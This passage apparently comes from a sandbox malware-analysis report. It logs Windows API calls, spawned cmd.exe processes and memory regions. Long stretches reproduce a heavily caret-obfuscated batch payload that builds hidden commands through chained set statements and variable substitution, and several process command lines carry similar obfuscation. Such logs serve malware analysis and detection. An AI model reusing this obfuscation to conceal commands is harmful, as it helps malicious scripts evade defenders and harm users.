z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0103.472] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0103.472] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x12d280*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12d230 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"", lpProcessInformation=0x12d230*(hProcess=0x5c, hThread=0x54, dwProcessId=0xb3c, dwThreadId=0xb40)) returned 1 [0103.477] CloseHandle (hObject=0x54) returned 1 [0103.477] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0103.478] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0103.479] _close (_FileHandle=5) returned 0 [0103.479] _dup (_FileHandle=0) returned 4 [0103.479] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0103.480] _close (_FileHandle=3) returned 0 [0103.480] SetErrorMode (uMode=0x0) returned 0x8001 [0103.480] SetErrorMode (uMode=0x1) returned 0x0 [0103.480] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x23fac0, lpFilePart=0x12d440 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x12d440*="Desktop") returned 0x19 [0103.480] SetErrorMode (uMode=0x8001) returned 0x1 [0103.480] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0103.480] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0103.480] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.480] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.481] FindClose (in: hFindFile=0x27fc60 | out: hFindFile=0x27fc60) returned 1 [0103.481] FindClose (in: hFindFile=0x27fc60 | out: hFindFile=0x27fc60) returned 1 [0103.481] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0103.481] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0103.481] SetErrorMode (uMode=0x0) returned 0x8001 [0103.481] SetErrorMode (uMode=0x1) returned 0x0 [0103.481] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x23fb20, lpFilePart=0x12d1d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x12d1d0*="Desktop") returned 0x19 [0103.481] SetErrorMode (uMode=0x8001) returned 0x1 [0103.482] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0103.482] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0103.482] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.482] FindClose (in: hFindFile=0x27fc60 | out: hFindFile=0x27fc60) returned 1 [0103.482] FindClose (in: hFindFile=0x27fc60 | out: hFindFile=0x27fc60) returned 1 [0103.482] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0103.482] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0103.482] GetConsoleTitleW (in: lpConsoleTitle=0x12d490, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.482] InitializeProcThreadAttributeList (in: lpAttributeList=0x12d248, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12d208 | out: lpAttributeList=0x12d248, lpSize=0x12d208) returned 1 [0103.483] UpdateProcThreadAttribute (in: lpAttributeList=0x12d248, dwFlags=0x0, Attribute=0x60001, lpValue=0x12d1f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12d248, lpPreviousValue=0x0) returned 1 [0103.483] GetStartupInfoW (in: lpStartupInfo=0x12d360 | out: lpStartupInfo=0x12d360*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0103.483] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0103.483] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd ; ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x12d280*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="cmd ; ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12d230 | out: lpCommandLine="cmd ; ", lpProcessInformation=0x12d230*(hProcess=0x54, hThread=0x60, dwProcessId=0xb44, dwThreadId=0xb48)) returned 1 [0103.489] CloseHandle (hObject=0x60) returned 1 [0103.489] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0103.490] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0103.490] _close (_FileHandle=4) returned 0 [0103.490] WaitForSingleObject (hHandle=0x5c, dwMilliseconds=0xffffffff) returned 0x0 [0103.823] GetExitCodeProcess (in: hProcess=0x5c, lpExitCode=0x12d768 | out: lpExitCode=0x12d768*=0x0) returned 1 [0103.823] CloseHandle (hObject=0x5c) returned 1 [0103.823] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0125.589] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x12d768 | out: lpExitCode=0x12d768*=0x0) returned 1 [0125.589] CloseHandle (hObject=0x54) returned 1 [0125.590] exit (_Code=0) Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x55e5f000" os_pid = "0xb24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb04" cmd_line = "C:\\Windows\\system32\\cmd.exe /c ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1126 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1127 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1128 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1129 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1130 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1131 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1132 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1133 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1134 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1135 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1136 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1137 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1138 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1139 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1140 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1141 start_va = 0x40000 end_va = 0x46fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1142 start_va = 0x170000 end_va = 0x1d6fff entry_point = 0x170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1143 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1144 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1145 start_va = 0x200000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1146 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1147 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1148 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1149 start_va = 0x720000 end_va = 0x1b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 1150 start_va = 0x1b20000 end_va = 0x1e62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b20000" filename = "" Region: id = 1151 start_va = 0x1e70000 end_va = 0x1e70fff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 1152 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = 